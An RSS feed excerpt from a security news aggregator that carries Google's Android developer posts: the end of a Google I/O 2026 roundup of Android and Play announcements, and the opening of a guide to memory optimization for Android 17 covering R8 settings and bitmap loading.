  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
